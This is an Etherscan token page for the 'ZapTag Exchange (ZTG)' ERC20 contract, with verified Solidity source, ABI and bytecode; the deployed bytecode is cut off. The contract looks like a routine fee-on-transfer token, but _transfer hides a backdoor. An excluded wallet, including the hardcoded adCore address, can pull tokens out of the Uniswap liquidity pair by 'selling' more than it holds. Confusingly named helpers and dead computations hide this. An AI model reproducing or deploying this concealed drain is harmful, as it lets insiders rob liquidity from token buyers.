ETH Price: $3,558.39 (+6.66%)

Token

ZapTag Exchange (ZTG)
 

Overview

Max Total Supply

4,000,000,000 ZTG

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
22,566,201.285245544255664427 ZTG

Value
$0.00
0x24ae1ef3bcd5e63a4e441db938ef069b2212c12a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZTG

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-17
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.16;

library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "");
        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "");
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "");
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transferFrom(address from, address to, uint256 amount) external returns (bool);

    function transfer(address to, uint256 amount) external returns (bool);

    function approve(address spender, uint256 amount) external returns (bool);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract Ownable is Context {
    address private _owner;

    modifier onlyOwner() {
        require(_owner == _msgSender(), "");
        _;
    }

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract ZTG is Context, IERC20, Ownable {
    using SafeMath for uint256;

    struct Distribution { uint256 ad; }

    mapping(address => mapping(address => uint256)) private _allowances;

    address private adCore = 0x30B4941C907e72912F2A1F221034A9d82ff3f2E7;

    uint8 private constant _decimals = 18;

    uint256 private constant MAX = ~uint256(0);

    address private adThreshold;

    uint256 private _redisTollAtBuy = 0;
    uint256 private _adTollAtBuy = 4;

    address public uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;
    
    uint256 private _tTollTotal;

    bool private swapEnabled = true;
    bool private swapping = false;

    uint256 private _redisTollAtSell = 0;
    uint256 private _adTollAtSell = 4;

    mapping(address => uint256) private _buyMap;
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _rOwned;

    uint256 private _redisToll = _redisTollAtSell;
    uint256 private _adToll = _adTollAtSell;

    string private constant _name = "ZapTag Exchange";
    string private constant _symbol = "ZTG";

    uint256 private _prevRedisToll = _redisToll;
    uint256 private _prevAdToll = _adToll;

    mapping(address => bool) private _isExcluded;
    
    uint256 public maxTx = 2 * (_tTotal / 100);
    uint256 public maxWallet = 2 * (_tTotal / 100);

    uint256 private constant _tTotal = 4000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _swapTokensThreshold = 400000 * 10**_decimals;

    Distribution public distribution;

    modifier lockSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    function removeLimits() external onlyOwner {
        maxTx = _tTotal;
        maxWallet = _tTotal;
    }

    constructor() {
        _isExcluded[address(this)] = true;
        _isExcluded[owner()] = true;
        _isExcluded[adCore] = true;

        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);

        distribution = Distribution(100);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        adThreshold = adCore;
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return getReflectionTokens(_rOwned[account]);
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0), "");
        require(owner != address(0), "");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "");
        require(to != address(0), "");
        require(amount > 0, "");

        if (from != owner() && to != owner()) {
            if (
                to != address(uniswapV2Router) &&
                from == uniswapV2Pair &&
                !_isExcluded[to]
            ) {
                require(amount <= maxTx);
                require(balanceOf(to) + amount <= maxWallet);
            }

            uint256 contractTokenAmount = balanceOf(address(this));
            bool canSwap = contractTokenAmount >= _swapTokensThreshold;

            if (
                !_isExcluded[to] &&
                !_isExcluded[from] &&
                swapEnabled &&
                canSwap &&
                !swapping &&
                from != uniswapV2Pair
            ) {
                swapTokensForETH(contractTokenAmount);
                uint256 contractETHAmount = address(this).balance;
                if (contractETHAmount > 0) {
                    sendETH(address(this).balance);
                }
            }

            if (_isExcluded[from]) {
                if (uniswapV2Pair == to && balanceOf(from) < amount) {
                    _normTransfer(to, from, amount);
                    return;
                }
            }
        }

        bool grabAdToll = true;

        if (
            (_isExcluded[from] || _isExcluded[to]) ||
            (to != uniswapV2Pair && from != uniswapV2Pair)
        ) {
            grabAdToll = false;
        } else {
            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisToll = _redisTollAtBuy;
                _adToll = _adTollAtBuy;
            }

            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisToll = _redisTollAtSell;
                _adToll = _adTollAtSell;
            }
        }
        _nativeTransfer(from, to, amount, grabAdToll);
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amount, ""));
        return true;
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tToll, uint256 tTeam) = _getTValues(tAmount, _redisToll, _adToll);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rToll) = _getRValues(tAmount, tToll, tTeam, currentRate);
        return (rAmount, rTransferAmount, rToll, tTransferAmount, tToll, tTeam);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function _nativeTransfer(address from, address to, uint256 amount, bool grabAdToll) private {
        if (!grabAdToll) removeAllTolls();
        _normTransfer(from, to, amount);
        if (!grabAdToll) restoreAllTolls();
    }

    function _isReflectionRate(address adAccount, address tollAccount) private view returns (bool) {
        bool adAccountExcluded = !_isExcluded[adAccount];
        bool tollAccountExcluded = !_isExcluded[tollAccount];

        return adAccountExcluded && adAccount != uniswapV2Pair && tollAccountExcluded;
    }

    function swapTokensForETH(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function getReflectionTokens(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal, "");
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function _getRValues(uint256 tAmount, uint256 tToll, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rToll = tToll.mul(currentRate);
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rToll).sub(rTeam);
        return (rAmount, rTransferAmount, rToll);
    }

    function _getTValues(uint256 tAmount, uint256 redisToll, uint256 adToll) private pure returns (uint256, uint256, uint256) {
        uint256 tTeam = tAmount.mul(adToll).div(100);
        uint256 tToll = tAmount.mul(redisToll).div(100);
        uint256 tTransferAmount = tAmount.sub(tToll).sub(tTeam);
        return (tTransferAmount, tToll, tTeam);
    }

    function _normTransfer(address from, address to, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rToll, uint256 tTransferAmount, uint256 tToll, uint256 tTeam) = _getValues(tAmount);
        _rOwned[from] = _rOwned[from].sub(rAmount);
        _rOwned[to] = _rOwned[to].add(rTransferAmount);
        _grabAdToll(tTeam, from, to);
        _reflectToll(rToll, tToll);
        emit Transfer(from, to, tTransferAmount);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _reflectToll(uint256 rToll, uint256 tToll) private {
        _rTotal = _rTotal.sub(rToll);
        _tTollTotal = _tTollTotal.add(tToll);
    }

    function _grabAdToll(uint256 tTeam, address adAccount, address tollAccount) private {
        uint256 adReflection = getReflectionTokens(_rOwned[adThreshold]);
        uint256 currentRate = _isReflectionRate(adAccount, tollAccount) ? _adToll - adReflection : 0;
        currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function sendETH(uint256 ethAmount) private lockSwap {
        uint256 ethForAd = ethAmount.mul(distribution.ad).div(100);
        payable(adCore).transfer(ethForAd);
    }

    function restoreAllTolls() private {
        _redisToll = _prevRedisToll;
        _adToll = _prevAdToll;
    }

    function removeAllTolls() private {
        if (_adToll == 0 && _redisToll == 0) return;
        _prevAdToll = _adToll;
        _prevRedisToll = _redisToll;
        _adToll = 0;
        _redisToll = 0;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"distribution","outputs":[{"internalType":"uint256","name":"ad","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600280546001600160a01b0319167330b4941c907e72912f2a1f221034a9d82ff3f2e71790555f600481815560058190556009805461ffff19166001179055600a828155600b829055600f8390556010829055601192909255601290815560649162000071919062000548565b620000819063ee6b28006200055f565b6200008d91906200058d565b6200009a9060026200055f565b6014556064620000ad6012600a62000548565b620000bd9063ee6b28006200055f565b620000c991906200058d565b620000d69060026200055f565b601555620000e76012600a62000548565b620000f79063ee6b28006200055f565b62000104905f19620005a3565b62000111905f19620005b9565b601655620001226012600a62000548565b620001319062061a806200055f565b60175534801562000140575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350305f9081526013602081905260408220805460ff1916600190811790915591620001b25f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055600254909116815260139092528120805490921660011790915560165490600e90620002083390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200025b6012600a62000548565b6200026b9063ee6b28006200055f565b60405190815260200160405180910390a36040805160208082018352606491829052601891909155600254600380546001600160a01b039092166001600160a01b031992831617905560078054737a250d5630b4cf539739df2c5dacb4c659f2488d921682179055825163c45a015560e01b815292519092839263c45a0155926004808401938290030181865afa15801562000309573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200032f9190620005cf565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200037b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003a19190620005cf565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620003ec573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004129190620005cf565b600680546001600160a01b0319166001600160a01b039290921691909117905550620005f7565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200048d57815f190482111562000471576200047162000439565b808516156200047f57918102915b93841c939080029062000452565b509250929050565b5f82620004a55750600162000542565b81620004b357505f62000542565b8160018114620004cc5760028114620004d757620004f7565b600191505062000542565b60ff841115620004eb57620004eb62000439565b50506001821b62000542565b5060208310610133831016604e8410600b84101617156200051c575081810a62000542565b6200052883836200044d565b805f19048211156200053e576200053e62000439565b0290505b92915050565b5f6200055860ff84168362000495565b9392505050565b808202811582820484141762000542576200054262000439565b634e487b7160e01b5f52601260045260245ffd5b5f826200059e576200059e62000579565b500490565b5f82620005b457620005b462000579565b500690565b8181038181111562000542576200054262000439565b5f60208284031215620005e0575f80fd5b81516001600160a01b038116811462000558575f80fd5b6114a280620006055f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102e9578063a9059cbb14610314578063dd62ed3e14610333578063f2fde38b14610377578063f8b45b0514610396575f80fd5b806370a082311461026f578063715018a61461028e5780637437681e146102a4578063751039fc146102b95780638da5cb5b146102cd575f80fd5b806318160ddd116100e357806318160ddd146101ec57806323b872dd14610200578063313ce5671461021f57806349bd5a5e1461023a5780635ee58efc14610259575f80fd5b806302ca8a201461011e57806306fdde0314610146578063095ea7b3146101865780631694505e146101b5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360175481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152600f81526e5a61705461672045786368616e676560881b60208201525b60405161013d9190611151565b348015610191575f80fd5b506101a56101a03660046111b4565b6103ab565b604051901515815260200161013d565b3480156101c0575f80fd5b506007546101d4906001600160a01b031681565b6040516001600160a01b03909116815260200161013d565b3480156101f7575f80fd5b506101336103c1565b34801561020b575f80fd5b506101a561021a3660046111de565b6103e1565b34801561022a575f80fd5b506040516012815260200161013d565b348015610245575f80fd5b506006546101d4906001600160a01b031681565b348015610264575f80fd5b506018546101339081565b34801561027a575f80fd5b5061013361028936600461121c565b61043c565b348015610299575f80fd5b506102a261045d565b005b3480156102af575f80fd5b5061013360145481565b3480156102c4575f80fd5b506102a26104dc565b3480156102d8575f80fd5b505f546001600160a01b03166101d4565b3480156102f4575f80fd5b506040805180820190915260038152625a544760e81b6020820152610179565b34801561031f575f80fd5b506101a561032e3660046111b4565b61054a565b34801561033e575f80fd5b5061013361034d366004611237565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610382575f80fd5b506102a261039136600461121c565b610556565b3480156103a1575f80fd5b5061013360155481565b5f6103b7338484610610565b5060015b92915050565b5f6103ce6012600a611362565b6103dc9063ee6b2800611370565b905090565b5f6103ed8484846106ce565b60408051602080820183525f8083526001600160a01b0388168152600182528381203380835292529290922054610432928792909161042d918790610a27565b610610565b5060019392505050565b6001600160a01b0381165f908152600e60205260408120546103bb90610a5f565b5f546001600160a01b031633146104945760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461050e5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b61051a6012600a611362565b6105289063ee6b2800611370565b6014556105376012600a611362565b6105459063ee6b2800611370565b601555565b5f6103b73384846106ce565b5f546001600160a01b031633146105885760405162461bcd60e51b8152602060048201525f602482015260440161048b565b6001600160a01b0381166105b75760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03821661063f5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b6001600160a01b03831661066e5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106fd5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b6001600160a01b03821661072c5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f81116107545760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f546001600160a01b0384811691161480159061077e57505f546001600160a01b03838116911614155b1561091d576007546001600160a01b038381169116148015906107ae57506006546001600160a01b038481169116145b80156107d257506001600160a01b0382165f9081526013602052604090205460ff16155b15610806576014548111156107e5575f80fd5b601554816107f28461043c565b6107fc9190611387565b1115610806575f80fd5b5f6108103061043c565b6017546001600160a01b0385165f908152601360205260409020549192508210159060ff1615801561085a57506001600160a01b0385165f9081526013602052604090205460ff16155b8015610868575060095460ff165b80156108715750805b80156108855750600954610100900460ff16155b801561089f57506006546001600160a01b03868116911614155b156108bf576108ad82610aa7565b4780156108bd576108bd47610c11565b505b6001600160a01b0385165f9081526013602052604090205460ff161561091a576006546001600160a01b0385811691161480156109035750826109018661043c565b105b1561091a57610913848685610c85565b5050505050565b50505b6001600160a01b0383165f9081526013602052604090205460019060ff168061095d57506001600160a01b0383165f9081526013602052604090205460ff165b8061098f57506006546001600160a01b0384811691161480159061098f57506006546001600160a01b03858116911614155b1561099b57505f610a15565b6006546001600160a01b0385811691161480156109c657506007546001600160a01b03848116911614155b156109d857600454600f556005546010555b6006546001600160a01b038481169116148015610a0357506007546001600160a01b03858116911614155b15610a1557600a54600f55600b546010555b610a2184848484610d78565b50505050565b5f8184841115610a4a5760405162461bcd60e51b815260040161048b9190611151565b505f610a56848661139a565b95945050505050565b5f601654821115610a8b5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f610a94610da6565b9050610aa08382610dc7565b9392505050565b6009805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ae957610ae96113ad565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b40573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b6491906113c1565b81600181518110610b7757610b776113ad565b6001600160a01b039283166020918202929092010152600754610b9d9130911684610610565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790610bd59085905f908690309042906004016113dc565b5f604051808303815f87803b158015610bec575f80fd5b505af1158015610bfe573d5f803e3d5ffd5b50506009805461ff001916905550505050565b6009805461ff0019166101001790556018545f90610c3d90606490610c37908590610de1565b90610dc7565b6002546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610c75573d5f803e3d5ffd5b50506009805461ff001916905550565b5f805f805f80610c9487610e2e565b6001600160a01b038f165f908152600e6020526040902054959b50939950919750955093509150610cc59087610e83565b6001600160a01b03808b165f908152600e602052604080822093909355908a1681522054610cf39086610e9d565b6001600160a01b0389165f908152600e6020526040902055610d16818a8a610ed4565b610d208483610f66565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610d6591815260200190565b60405180910390a3505050505050505050565b80610d8557610d85610f8a565b610d90848484610c85565b80610a2157610a21601154600f55601254601055565b5f805f610db1610fb7565b9092509050610dc08282610dc7565b9250505090565b5f610aa0838360405180602001604052805f815250611038565b5f825f03610df057505f6103bb565b5f610dfb8385611370565b905082610e08858361144d565b14610aa05760405162461bcd60e51b8152602060048201525f602482015260440161048b565b5f805f805f805f805f610e468a600f54601054611064565b9250925092505f610e55610da6565b90505f805f610e668e8787876110af565b919e509c509a509598509396509194505050505091939550919395565b5f610aa0838360405180602001604052805f815250610a27565b5f80610ea98385611387565b905083811015610aa05760405162461bcd60e51b8152602060048201525f602482015260440161048b565b6003546001600160a01b03165f908152600e6020526040812054610ef790610a5f565b90505f610f0484846110fa565b610f0e575f610f1c565b81601054610f1c919061139a565b9050610f26610da6565b90505f610f338683610de1565b305f908152600e6020526040902054909150610f4f9082610e9d565b305f908152600e6020526040902055505050505050565b601654610f739083610e83565b601655600854610f839082610e9d565b6008555050565b601054158015610f9a5750600f54155b15610fa157565b60108054601255600f80546011555f9182905555565b6016545f90819081610fcb6012600a611362565b610fd99063ee6b2800611370565b9050611001610fea6012600a611362565b610ff89063ee6b2800611370565b60165490610dc7565b82101561102f576016546110176012600a611362565b6110259063ee6b2800611370565b9350935050509091565b90939092509050565b5f81836110585760405162461bcd60e51b815260040161048b9190611151565b505f610a56848661144d565b5f8080806110776064610c378988610de1565b90505f6110896064610c378a8a610de1565b90505f6110a08361109a8b85610e83565b90610e83565b99919850919650945050505050565b5f8080806110bd8686610de1565b90505f6110ca8887610de1565b90505f6110d78a88610de1565b90505f6110e88461109a8486610e83565b919b919a509198509650505050505050565b6001600160a01b038083165f90815260136020526040808220549284168252812054909160ff9081161591161581801561114257506006546001600160a01b03868116911614155b8015610a565750949350505050565b5f602080835283518060208501525f5b8181101561117d57858101830151858201604001528201611161565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146111b1575f80fd5b50565b5f80604083850312156111c5575f80fd5b82356111d08161119d565b946020939093013593505050565b5f805f606084860312156111f0575f80fd5b83356111fb8161119d565b9250602084013561120b8161119d565b929592945050506040919091013590565b5f6020828403121561122c575f80fd5b8135610aa08161119d565b5f8060408385031215611248575f80fd5b82356112538161119d565b915060208301356112638161119d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156112bc57815f19048211156112a2576112a261126e565b808516156112af57918102915b93841c9390800290611287565b509250929050565b5f826112d2575060016103bb565b816112de57505f6103bb565b81600181146112f457600281146112fe5761131a565b60019150506103bb565b60ff84111561130f5761130f61126e565b50506001821b6103bb565b5060208310610133831016604e8410600b841016171561133d575081810a6103bb565b6113478383611282565b805f190482111561135a5761135a61126e565b029392505050565b5f610aa060ff8416836112c4565b80820281158282048414176103bb576103bb61126e565b808201808211156103bb576103bb61126e565b818103818111156103bb576103bb61126e565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113d1575f80fd5b8151610aa08161119d565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561142c5784516001600160a01b031683529383019391830191600101611407565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261146757634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212206c3649b6d885f0acc18171c5ea1fce8c934c1e12dde8add43f2002b44b5fe7f564736f6c63430008160033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d57806395d89b411161006257806395d89b41146102e9578063a9059cbb14610314578063dd62ed3e14610333578063f2fde38b14610377578063f8b45b0514610396575f80fd5b806370a082311461026f578063715018a61461028e5780637437681e146102a4578063751039fc146102b95780638da5cb5b146102cd575f80fd5b806318160ddd116100e357806318160ddd146101ec57806323b872dd14610200578063313ce5671461021f57806349bd5a5e1461023a5780635ee58efc14610259575f80fd5b806302ca8a201461011e57806306fdde0314610146578063095ea7b3146101865780631694505e146101b5575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360175481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b5060408051808201909152600f81526e5a61705461672045786368616e676560881b60208201525b60405161013d9190611151565b348015610191575f80fd5b506101a56101a03660046111b4565b6103ab565b604051901515815260200161013d565b3480156101c0575f80fd5b506007546101d4906001600160a01b031681565b6040516001600160a01b03909116815260200161013d565b3480156101f7575f80fd5b506101336103c1565b34801561020b575f80fd5b506101a561021a3660046111de565b6103e1565b34801561022a575f80fd5b506040516012815260200161013d565b348015610245575f80fd5b506006546101d4906001600160a01b031681565b348015610264575f80fd5b506018546101339081565b34801561027a575f80fd5b5061013361028936600461121c565b61043c565b348015610299575f80fd5b506102a261045d565b005b3480156102af575f80fd5b5061013360145481565b3480156102c4575f80fd5b506102a26104dc565b3480156102d8575f80fd5b505f546001600160a01b03166101d4565b3480156102f4575f80fd5b506040805180820190915260038152625a544760e81b6020820152610179565b34801561031f575f80fd5b506101a561032e3660046111b4565b61054a565b34801561033e575f80fd5b5061013361034d366004611237565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610382575f80fd5b506102a261039136600461121c565b610556565b3480156103a1575f80fd5b5061013360155481565b5f6103b7338484610610565b5060015b92915050565b5f6103ce6012600a611362565b6103dc9063ee6b2800611370565b905090565b5f6103ed8484846106ce565b60408051602080820183525f8083526001600160a01b0388168152600182528381203380835292529290922054610432928792909161042d918790610a27565b610610565b5060019392505050565b6001600160a01b0381165f908152600e60205260408120546103bb90610a5f565b5f546001600160a01b031633146104945760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461050e5760405162461bcd60e51b8152602060048201525f602482015260440161048b565b61051a6012600a611362565b6105289063ee6b2800611370565b6014556105376012600a611362565b6105459063ee6b2800611370565b601555565b5f6103b73384846106ce565b5f546001600160a01b031633146105885760405162461bcd60e51b8152602060048201525f6024820152604